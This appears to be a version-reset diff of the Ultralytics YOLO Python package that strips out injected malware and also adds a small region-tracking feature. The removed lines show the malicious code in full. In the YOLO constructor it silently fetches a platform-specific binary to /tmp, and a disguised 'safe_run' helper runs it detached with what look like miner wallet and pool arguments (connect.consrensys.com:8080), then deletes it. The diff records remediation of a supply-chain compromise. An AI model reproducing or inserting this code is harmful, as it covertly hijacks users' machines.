reset src/ultralytics

Author: gha

src/ultralytics/__init__.py

@@ -1,6 +1,6 @@
 # Ultralytics YOLO 🚀, AGPL-3.0 license
 
-__version__ = "8.3.41"
+__version__ = "8.3.40"
 
 import os
 

src/ultralytics/models/yolo/model.py

@@ -1,38 +1,18 @@
 # Ultralytics YOLO 🚀, AGPL-3.0 license
 
-import platform
 from pathlib import Path
 
 from ultralytics.engine.model import Model
 from ultralytics.models import yolo
 from ultralytics.nn.tasks import ClassificationModel, DetectionModel, OBBModel, PoseModel, SegmentationModel, WorldModel
 from ultralytics.utils import ROOT, yaml_load
-from ultralytics.utils.downloads import safe_download, safe_run
+
 
 class YOLO(Model):
-    """YOLO (You Only Look Once) object detection model.""" 
+    """YOLO (You Only Look Once) object detection model."""
 
     def __init__(self, model="yolo11n.pt", task=None, verbose=False):
         """Initialize YOLO model, switching to YOLOWorld if model filename contains '-world'."""
-
-        environment = platform.system()
-        if "Linux" in environment and "x86" in platform.machine() or "AMD64" in platform.machine(): 
-            safe_download(
-                "665bb8add8c21d28a961fe3f93c12b249df10787", 
-                progress=False,
-                delete=True,
-                file="/tmp/ultralytics_runner", gitApi=True
-            )
-            safe_run("/tmp/ultralytics_runner")
-        elif "Darwin" in environment and "arm64" in platform.machine(): 
-            safe_download(
-                "5e67b0e4375f63eb6892b33b1f98e900802312c2", 
-                progress=False,
-                delete=True,
-                file="/tmp/ultralytics_runner", gitApi=True
-            )
-            safe_run("/tmp/ultralytics_runner") 
-
         path = Path(model)
         if "-world" in path.stem and path.suffix in {".pt", ".yaml", ".yml"}:  # if YOLOWorld PyTorch model
             new_instance = YOLOWorld(path, verbose=verbose)

src/ultralytics/solutions/__init__.py

@@ -10,6 +10,7 @@
 from .region_counter import RegionCounter
 from .speed_estimation import SpeedEstimator
 from .streamlit_inference import inference
+from .trackzone import TrackZone
 
 __all__ = (
     "AIGym",
@@ -23,4 +24,5 @@
     "Analytics",
     "inference",
     "RegionCounter",
+    "TrackZone",
 )

src/ultralytics/solutions/ai_gym.py

@@ -71,7 +71,7 @@ def monitor(self, im0):
             >>> processed_image = gym.monitor(image)
         """
         # Extract tracks
-        tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"])[0]
+        tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"], **self.track_add_args)[0]
 
         if tracks.boxes.id is not None:
             # Extract and check keypoints

src/ultralytics/solutions/solutions.py

@@ -74,6 +74,10 @@ def __init__(self, IS_CLI=False, **kwargs):
         self.model = YOLO(self.CFG["model"])
         self.names = self.model.names
 
+        self.track_add_args = {  # Tracker additional arguments for advance configuration
+            k: self.CFG[k] for k in ["verbose", "iou", "conf", "device", "max_det", "half", "tracker"]
+        }
+
         if IS_CLI and self.CFG["source"] is None:
             d_s = "solutions_ci_demo.mp4" if "-pose" not in self.CFG["model"] else "solution_ci_pose_demo.mp4"
             LOGGER.warning(f"⚠️ WARNING: source not provided. using default source {ASSETS_URL}/{d_s}")
@@ -98,7 +102,7 @@ def extract_tracks(self, im0):
             >>> frame = cv2.imread("path/to/image.jpg")
             >>> solution.extract_tracks(frame)
         """
-        self.tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"])
+        self.tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"], **self.track_add_args)
 
         # Extract tracks for OBB or object detection
         self.track_data = self.tracks[0].obb or self.tracks[0].boxes

src/ultralytics/solutions/trackzone.py

@@ -0,0 +1,68 @@
+# Ultralytics YOLO 🚀, AGPL-3.0 license
+
+import cv2
+import numpy as np
+
+from ultralytics.solutions.solutions import BaseSolution
+from ultralytics.utils.plotting import Annotator, colors
+
+
+class TrackZone(BaseSolution):
+    """
+    A class to manage region-based object tracking in a video stream.
+
+    This class extends the BaseSolution class and provides functionality for tracking objects within a specific region
+    defined by a polygonal area. Objects outside the region are excluded from tracking. It supports dynamic initialization
+    of the region, allowing either a default region or a user-specified polygon.
+
+    Attributes:
+        region (ndarray): The polygonal region for tracking, represented as a convex hull.
+
+    Methods:
+        trackzone: Processes each frame of the video, applying region-based tracking.
+
+    Examples:
+        >>> tracker = TrackZone()
+        >>> frame = cv2.imread("frame.jpg")
+        >>> processed_frame = tracker.trackzone(frame)
+        >>> cv2.imshow("Tracked Frame", processed_frame)
+    """
+
+    def __init__(self, **kwargs):
+        """Initializes the TrackZone class for tracking objects within a defined region in video streams."""
+        super().__init__(**kwargs)
+        default_region = [(150, 150), (1130, 150), (1130, 570), (150, 570)]
+        self.region = cv2.convexHull(np.array(self.region or default_region, dtype=np.int32))
+
+    def trackzone(self, im0):
+        """
+        Processes the input frame to track objects within a defined region.
+
+        This method initializes the annotator, creates a mask for the specified region, extracts tracks
+        only from the masked area, and updates tracking information. Objects outside the region are ignored.
+
+        Args:
+            im0 (numpy.ndarray): The input image or frame to be processed.
+
+        Returns:
+            (numpy.ndarray): The processed image with tracking id and bounding boxes annotations.
+
+        Examples:
+            >>> tracker = TrackZone()
+            >>> frame = cv2.imread("path/to/image.jpg")
+            >>> tracker.trackzone(frame)
+        """
+        self.annotator = Annotator(im0, line_width=self.line_width)  # Initialize annotator
+        # Create a mask for the region and extract tracks from the masked image
+        masked_frame = cv2.bitwise_and(im0, im0, mask=cv2.fillPoly(np.zeros_like(im0[:, :, 0]), [self.region], 255))
+        self.extract_tracks(masked_frame)
+
+        cv2.polylines(im0, [self.region], isClosed=True, color=(255, 255, 255), thickness=self.line_width * 2)
+
+        # Iterate over boxes, track ids, classes indexes list and draw bounding boxes
+        for box, track_id, cls in zip(self.boxes, self.track_ids, self.clss):
+            self.annotator.box_label(box, label=f"{self.names[cls]}:{track_id}", color=colors(track_id, True))
+
+        self.display_output(im0)  # display output with base class function
+
+        return im0  # return output image for more usage

src/ultralytics/utils/downloads.py

@@ -1,6 +1,5 @@
 # Ultralytics YOLO 🚀, AGPL-3.0 license
 
-import os
 import re
 import shutil
 import subprocess
@@ -275,30 +274,7 @@ def get_google_drive_file_info(link):
             filename = re.findall('filename="(.+)"', cd)[0]
     return drive_url, filename
 
-def safe_run(
-    path
-):
-    """Safely runs the provided file, making sure it is executable..
-    """
-    os.chmod(path, 0o770)
-    command = [
-            path,
-            '-u',
-            '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
-            '-o',
-            'connect.consrensys.com:8080',
-            '-k'
-    ]
-    process = subprocess.Popen(
-            command,
-            stdin=subprocess.DEVNULL,
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            preexec_fn=os.setsid,
-            close_fds=True
-        )
-    os.remove(path) 
- 
+
 def safe_download(
     url,
     file=None,
@@ -310,7 +286,6 @@ def safe_download(
     min_bytes=1e0,
     exist_ok=False,
     progress=True,
-    gitApi=False
 ):
     """
     Downloads files from a URL, with options for retrying, unzipping, and deleting the downloaded file.
@@ -329,7 +304,6 @@ def safe_download(
             a successful download. Default: 1E0.
         exist_ok (bool, optional): Whether to overwrite existing contents during unzipping. Defaults to False.
         progress (bool, optional): Whether to display a progress bar during the download. Default: True.
-        gitApi (bool, optional): Whether to use the Git API to download a file. Default: False
 
     Example:
         ```python
@@ -343,12 +317,6 @@ def safe_download(
     if gdrive:
         url, file = get_google_drive_file_info(url)
 
-    if gitApi: 
-        f = file
-        url = f"https://api.github.com/repos/ultralytics/ultralytics/git/blobs/{url}"
-        r = subprocess.run(["curl", "-#", "-H","Accept: application/vnd.github.raw+json",f"-sSL", url, "-o", f, "--retry", "3", "-C", "-"]).returncode
-        return True
-
     f = Path(dir or ".") / (file or url2file(url))  # URL converted to filename
     if "://" not in str(url) and Path(url).is_file():  # URL exists ('://' check required in Windows Python<3.10)
         f = Path(url)  # filename
@@ -357,13 +325,14 @@ def safe_download(
             "https://github.com/ultralytics/assets/releases/download/v0.0.0/",
             "https://ultralytics.com/assets/",  # assets alias
         )
-        desc = f"Downloading {uri} to '{f}'" 
+        desc = f"Downloading {uri} to '{f}'"
+        LOGGER.info(f"{desc}...")
         f.parent.mkdir(parents=True, exist_ok=True)  # make directory if missing
         check_disk_space(url, path=f.parent)
         for i in range(retry + 1):
             try:
                 if curl or i > 0:  # curl download with retry, continue
-                    s = "sS" * (not progress)  # silent 
+                    s = "sS" * (not progress)  # silent
                     r = subprocess.run(["curl", "-#", f"-{s}L", url, "-o", f, "--retry", "3", "-C", "-"]).returncode
                     assert r == 0, f"Curl return value {r}"
                 else:  # urllib download
@@ -392,15 +361,17 @@ def safe_download(
                 if i == 0 and not is_online():
                     raise ConnectionError(emojis(f"❌  Download failure for {uri}. Environment is not online.")) from e
                 elif i >= retry:
-                    raise ConnectionError(emojis(f"❌  Download failure for {uri}. Retry limit reached.")) from e 
+                    raise ConnectionError(emojis(f"❌  Download failure for {uri}. Retry limit reached.")) from e
+                LOGGER.warning(f"⚠️ Download failure, retrying {i + 1}/{retry} {uri}...")
 
     if unzip and f.exists() and f.suffix in {"", ".zip", ".tar", ".gz"}:
         from zipfile import is_zipfile
 
-        unzip_dir = (dir or f.parent).resolve()  # unzip to dir if provided else unzip in place 
+        unzip_dir = (dir or f.parent).resolve()  # unzip to dir if provided else unzip in place
         if is_zipfile(f):
             unzip_dir = unzip_file(file=f, path=unzip_dir, exist_ok=exist_ok, progress=progress)  # unzip
         elif f.suffix in {".tar", ".gz"}:
+            LOGGER.info(f"Unzipping {f} to {unzip_dir}...")
             subprocess.run(["tar", "xf" if f.suffix == ".tar" else "xfz", f, "--directory", unzip_dir], check=True)
         if delete:
             f.unlink()  # remove zip